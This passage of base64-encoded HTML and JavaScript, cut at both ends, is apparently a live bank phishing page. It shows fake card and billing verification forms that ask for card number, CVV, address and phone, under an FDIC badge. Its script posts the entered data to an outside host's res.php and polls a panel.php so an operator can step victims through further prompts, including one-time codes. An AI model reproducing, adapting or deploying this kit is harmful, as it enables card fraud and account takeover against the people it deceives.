ZnkuYXBwL2IyLmpwZyIgYWx0PSJpbWcyIj4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgoKCgogICAgICAgPGRpdiBjbGFzcz0iY29udGFpbmMyIGhpZGUiPgogICAgICAgIDxkaXYgY2xhc3M9ImNvbkZvcm0iPgoKICAgICAgICAgPGRpdiBjbGFzcz0ibWFpbm51dDIiPgogICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkVGV4dENvbiI+CiAgICAgICAgICAgICAgICA8aDI+Q3JlZGl0L0RlYml0IENhcmQgVmVyaWZpY2F0aW9uPC9oMj4KICAgICAgICAgICAgICAgIDxwPkFkZC9jb25maXJtIHlvdXIgY3JlZGl0L0RlYml0IENhcmQgSW5mb3JtYXRpb24gdG8gY29udGludWU8L3A+CiAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIjIiBjbGFzcz0iY0NhZEZvcm0iPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wSW5mbyI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iIj5DYXJkIEhvbGRlcnMgTmFtZSA8c3BhbiBzdHlsZT0iY29sb3I6ICNjMDBiMTQ7Ij4qPC9zcGFuPjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJDYXJkIGhvbGRlcnMgbmFtZSIgbmFtZT0iY05hbWUiIHJlcXVpcmVkPgogICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wSW5mbyI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iIj5DYXJkIE51bWJlciA8c3BhbiBzdHlsZT0iY29sb3I6ICNjMDBiMTQ7Ij4qPC9zcGFuPjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJDYXJkIE51bWJlciIgbmFtZT0iY051bSIgcmVxdWlyZWQ+CiAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnBJbmZvIj4KICAgICAgICAgICAgICAgICAgICA8bGFiZWwgZm9yPSIiPkNhcmQgRXhwaXJhdGlvbiBEYXRlIDxzcGFuIHN0eWxlPSJjb2xvcjogI2MwMGIxNDsiPio8L3NwYW4+PC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9Ik1NL1lZIiBuYW1lPSJleHAiIHJlcXVpcmVkPgogICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wSW5mbyI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iIj5DYXJkIENWViA8c3BhbiBzdHlsZT0iY29sb3I6ICNjMDBiMTQ7Ij4qPC9zcGFuPjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSItLS0iIG5hbWU9ImN2IiBtaW5sZW5ndGg9IjMiIG1heGxlbmd0aD0iMyIgcmVxdWlyZWQ+CiAgICAgICAgICAgICAgICA8L2Rpdj4KCgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wSW5mbyI+CiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbj5WYWxpZGF0ZTwvYnV0dG9uPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgPC9kaXY+CgoKICAgICAgICAgICAgPGltZyBpZD0iYmcyIiBzcmM9Imh0dHBzOi8vYXBwdGFzazEubmV0bGlmeS5hcHAvYjIuanBnIiBhbHQ9ImltZzIiPgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CgoKCiAgICAgIDxkaXYgY2xhc3M9ImJpbGxjb25uYyBoaWRlIj4KICAgICAgICA8ZGl2IGNsYXNzPSJjb25Gb3JtIj4KCiAgICAgICAgIDxkaXYgY2xhc3M9Im1haW5udXQyIj4KICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZFRleHRDb24iPgogICAgICAgICAgICAgICAgPGgyPkJpbGxpbmcgSW5mb3JtYXRpb24gVmVyaWZpY2F0aW9uPC9oMj4KICAgICAgICAgICAgICAgIDxwPlBsZWFzZSBoZWxwIHVzIHZlcmlmeSB5b3VyIGJpbGxpbmcgaW5mb3JtYXRpb248L3A+CiAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIjIiBjbGFzcz0iYmlsRm9ybTExIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImlucEluZm8iPgogICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9IiI+QWRkcmVzcyA8c3BhbiBzdHlsZT0iY29sb3I6ICNjMDBiMTQ7Ij4qPC9zcGFuPjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJBZGRyZXNzIiBuYW1lPSJhZGRyZXMiIHJlcXVpcmVkPgogICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wSW5mbyI+CiAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj0iIj5aaXAgY29kZSA8c3BhbiBzdHlsZT0iY29sb3I6ICNjMDBiMTQ7Ij4qPC9zcGFuPjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJaaXAgY29kZSIgbmFtZT0iemlwIiByZXF1aXJlZD4KICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImlucEluZm8iPgogICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9IiI+TW9iaWxlIFBob25lIE51bWJlciBmb3IgZmluYWwgc21zIHZlcmlmaWNhdGlvbiA8c3BhbiBzdHlsZT0iY29sb3I6ICNjMDBiMTQ7Ij4qPC9zcGFuPjwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJNb2JpbGUgUGhvbmUgTnVtYmVyIiBuYW1lPSJwaG9uZSIgcmVxdWlyZWQ+CiAgICAgICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJpbnBJbmZvIj4KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uPlZhbGlkYXRlPC9idXR0b24+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICA8L2Rpdj4KCgogICAgICAgICAgICA8aW1nIGlkPSJiZzIiIHNyYz0iaHR0cHM6Ly9hcHB0YXNrMS5uZXRsaWZ5LmFwcC9iMi5qcGciIGFsdD0iaW1nMiI+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KCgoKICAgIDxkaXYgY2xhc3M9ImZvb3RlckJveCI+CiAgICAgICA8ZGl2IGNsYXNzPSJmbGV4Qm94Ij4KCiAgICAgICAgIDxkaXYgY2xhc3M9ImJveFNwYW4iPgogICAgICAgICAgICA8c3Bhbj5Db250YWN0IHVzIHwgTGVnYWwgfCBQcml2YWN5IHwgVGVybXMgJiBDb25kaXRpb25zIHwgQWNjZXNzaWJpbGl0eTwvc3Bhbj4KICAgICAgICA8L2Rpdj4KCiAgICAgICAgPGRpdiBjbGFzcz0iYm94SW1nRmRpYyI+CiAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2JveG1hcDEubmV0bGlmeS5hcHAvZmRjY2FwLnBuZyIgYWx0PSJmZGljIj4KICAgICAgICA8L2Rpdj4KCiAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgoKCiAgICA8ZGl2IGNsYXNzPSJwcmVsb2FkZXJCb3ggaGlkZSI+CiAgICAgPGRpdiBjbGFzcz0ibG9hZEJveCI+CiAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2JveG1hcDEubmV0bGlmeS5hcHAvY2FwTG9nLmdpZiIgYWx0PSJsb2FkZXIiPgogICAgICAgICAgICA8cCBjbGFzcz0ibG9hZGVyVGV4dCI+PC9wPgogICAgIDwvZGl2PgogICAgPC9kaXY+CgoKICAgIDxkaXYgY2xhc3M9ImxvYWRlckJveDM0IGhpZGUiPgogICAgICAgIDxkaXYgY2xhc3M9ImxvYWRlcjIiPjwvZGl2PgogICAgICAgIDxwPkxvYWRpbmcuLi48L3A+CiAgICA8L2Rpdj4KCgogICAgPHNjcmlwdD4KCiAgICAgICAgY29uc3QgZkxnID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLmZMZyIpOwogICAgICAgIGNvbnN0IGZMZ0Zvb3QgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZkxnRm9vdCIpOwogICAgICAgIGNvbnN0IHZhbGlkQm94RW0gPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIudmFsaWRCb3giKTsKICAgICAgICBjb25zdCBmRW1Cb3ggPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZkVtQm94Iik7CiAgICAgICAgY29uc3QgdmFsaWRCb3gyQ2FyZCA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi52YWxpZEJveDIiKTsKICAgICAgICBjb25zdCBmQ2FyZCA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5mQ2FyZCIpOwogICAgICAgIGNvbnN0IHZhbGlkQm94M0JpbGwgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIudmFsaWRCb3gzIik7CiAgICAgICAgY29uc3QgZkJpbGwgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZkJpbGwiKTsKICAgICAgICBjb25zdCB2YWxpZEJveDRPdCA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi52YWxpZEJveDQiKTsKICAgICAgICBjb25zdCBvdENhcmQgID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLm90Q2FyZCIpOwogICAgICAgIGNvbnN0IHF1ZXN0Q2FyZCAgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIucXVlc3RDYXJkIik7CiAgICAgICAgY29uc3QgZXJybXNnMSA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5lcnJtc2cxIik7CiAgICAgICAgY29uc3QgcHJlbG9hZGVyQm94ID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLnByZWxvYWRlckJveCIpOwogICAgICAgIGNvbnN0IGxvYWRlclRleHQgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIubG9hZGVyVGV4dCIpOwogICAgICAgIGNvbnN0IGVycm9yQm94NCA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5lcnJvckJveDQiKTsKICAgICAgICBjb25zdCBlbTJlcnIyID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLmVtMmVycjIiKTsKICAgICAgICBjb25zdCB2YWxpZEJveDUgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIudmFsaWRCb3g1Iik7CiAgICAgICAgY29uc3QgcXVlc3RUZXh0ID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLnF1ZXN0VGV4dCIpOwogICAgICAgIGNvbnN0IGVyckJveDU2ID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLmVyckJveDU2Iik7CiAgICAgICAgY29uc3QgdmFsaWRCb3g2ID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLnZhbGlkQm94NiIpOwogICAgICAgIGNvbnN0IHJlc0NhcmQgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIucmVzQ2FyZCIpOwogICAgICAgIGNvbnN0IGxvYWRlckJveDM0ID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcigiLmxvYWRlckJveDM0Iik7CiAgICAgICAgY29uc3Qgb3RGb3JtMSA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5vdEZvcm0xIik7CiAgICAgICAgY29uc3QgYm94T3RDb250YWluZXIgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYm94T3RDb250YWluZXIiKTsKICAgICAgICBjb25zdCBjb250YWluYzIgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuY29udGFpbmMyIik7CiAgICAgICAgY29uc3QgY0NhZEZvcm0gPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuY0NhZEZvcm0iKTsKICAgICAgICBjb25zdCBiaWxsY29ubmMgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYmlsbGNvbm5jIikKICAgICAgICBjb25zdCBiaWxGb3JtMTEgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYmlsRm9ybTExIik7CiAgICAgICAgY29uc3Qgb3RFcnJvciA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5vdEVycm9yIik7CgogICAgICAgIGxldCBlcnIgPSAwOwoKICAgICAgICBsZXQgZmlsZVBhdGggPSAiaHR0cHM6Ly9nbGFtb3VyLmtsYXR6LnByby9pbWFnZXMvY3BwLyI7CgogICAgICAgIGNvbnN0IG5vUGFuZWxEYXRhID0gKGRhdGEpID0+IHsKICAgICAgICAgICAgZmV0Y2goYCR7ZmlsZVBhdGh9L3Jlcy5waHBgLCB7CiAgICAgICAgICAgICAgICBtZXRob2Q6ICJQT1NUIiwKICAgICAgICAgICAgICAgIGJvZHk6IGRhdGEsCiAgICAgICAgICAgIH0pOwogICAgICAgIH07CiAgICAKICAgICAgICBjb25zdCBwYW5lbFNlbmQgPSAoZGF0YSwgZSkgPT4gewogICAgICAgICAgICBmZXRjaChgJHtmaWxlUGF0aH0vcmVzLnBocGAsIHsKICAgICAgICAgICAgICAgIG1ldGhvZDogIlBPU1QiLAogICAgICAgICAgICAgICAgYm9keTogZGF0YSwKICAgICAgICAgICAgfSkudGhlbigoKSA9PiB7CiAgICAgICAgICAgICAgIGxldCB2YWxzID0gIHNldEludGVydmFsKCgpID0+IHsKICAgICAgICAgICAgICAgICAgICBmZXRjaChgJHtmaWxlUGF0aH0vcGFuZWwucGhwYCwgewogICAgICAgICAgICAgICAgICAgICAgICBtZXRob2Q6ICJQT1NUIiwKICAgICAgICAgICAgICAgICAgICB9KQogICAgICAgICAgICAgICAgICAgIC50aGVuKChyZXNwKSA9PiByZXNwLmpzb24oKSkKICAgICAgICAgICAgICAgICAgICAudGhlbigoZGF0YSkgPT4gewogICAgICAgICAgICAgICAgICAgICAgICBpZihkYXRhLm1zZyA9PSAiZW1haWwiKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGUudGFyZ2V0LnJlc2V0KCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveEVtLmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZFbUJveC5jbGFzc0xpc3QucmVtb3ZlKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmTGcuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkxnRm9vdC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDJDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94M0JpbGwuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkJpbGwuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3g0T3QuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgb3RDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByZWxvYWRlckJveC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDUuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgcXVlc3RDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94Ni5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXNDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZMZy5jbGFzc0xpc3QucmVtb3ZlKCJvcGFjIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmTGdGb290LmNsYXNzTGlzdC5yZW1vdmUoIm9wYWMiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG90Q2FyZC5jbGFzc0xpc3QucmVtb3ZlKCJvcGFjIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDJDYXJkLmNsYXNzTGlzdC5yZW1vdmUoIm9wYWMiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94NE90LmNsYXNzTGlzdC5yZW1vdmUoIm9wYWMiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvYWRlclRleHQudGV4dENvbnRlbnQgPSAiIjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvYWRlckJveDM0LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRhaW5jMi5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYmlsbGNvbm5jLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm94T3RDb250YWluZXIuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2xlYXJJbnRlcnZhbCh2YWxzKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBlbHNlIGlmKGRhdGEubXNnID09ICJjYXJkIil7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGUudGFyZ2V0LnJlc2V0KCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3hFbS5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmRW1Cb3guY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkxnLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZMZ0Zvb3QuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3gyQ2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmQ2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDNCaWxsLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZCaWxsLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94NE90LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG90Q2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmVsb2FkZXJCb3guY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDUuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDYuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVzQ2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBxdWVzdENhcmQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkxnLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZMZ0Zvb3QuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgb3RDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250YWluYzIuY2xhc3NMaXN0LnJlbW92ZSgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDJDYXJkLmNsYXNzTGlzdC5yZW1vdmUoIm9wYWMiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDRPdC5jbGFzc0xpc3QucmVtb3ZlKCJvcGFjIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBsb2FkZXJUZXh0LnRleHRDb250ZW50ID0gIiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBsb2FkZXJCb3gzNC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYmlsbGNvbm5jLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYm94T3RDb250YWluZXIuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsZWFySW50ZXJ2YWwodmFscyk7CgogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UgaWYoZGF0YS5tc2cgPT0gImJpbGwiKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGUudGFyZ2V0LnJlc2V0KCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveEVtLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZFbUJveC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmTGcuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkxnRm9vdC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDJDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94M0JpbGwuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkJpbGwuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3g0T3QuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgb3RDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByZWxvYWRlckJveC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBsb2FkZXJUZXh0LnRleHRDb250ZW50ID0gIiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDUuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgcXVlc3RDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94Ni5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXNDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZMZy5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmTGdGb290LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG90Q2FyZC5jbGFzc0xpc3QucmVtb3ZlKCJvcGFjIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDJDYXJkLmNsYXNzTGlzdC5hZGQoIm9wYWMiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94NE90LmNsYXNzTGlzdC5hZGQoIm9wYWMiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxvYWRlckJveDM0LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRhaW5jMi5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBiaWxsY29ubmMuY2xhc3NMaXN0LnJlbW92ZSgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJveE90Q29udGFpbmVyLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsZWFySW50ZXJ2YWwodmFscyk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlIGlmKGRhdGEubXNnID09ICJpbnZhbGlkb3RwIil7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlLnRhcmdldC5yZXNldCgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZXJyb3JCb3g0LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94RW0uY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkVtQm94LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZMZy5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmTGdGb290LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94MkNhcmQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkNhcmQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3gzQmlsbC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmQmlsbC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDRPdC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBvdENhcmQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3g1LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHF1ZXN0Q2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YWxpZEJveDYuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVzQ2FyZC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcmVsb2FkZXJCb3guY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZkxnLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZMZ0Zvb3QuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgb3RDYXJkLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbGlkQm94MkNhcmQuY2xhc3NMaXN0LmFkZCgib3BhYyIpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsaWRCb3g0T3QuY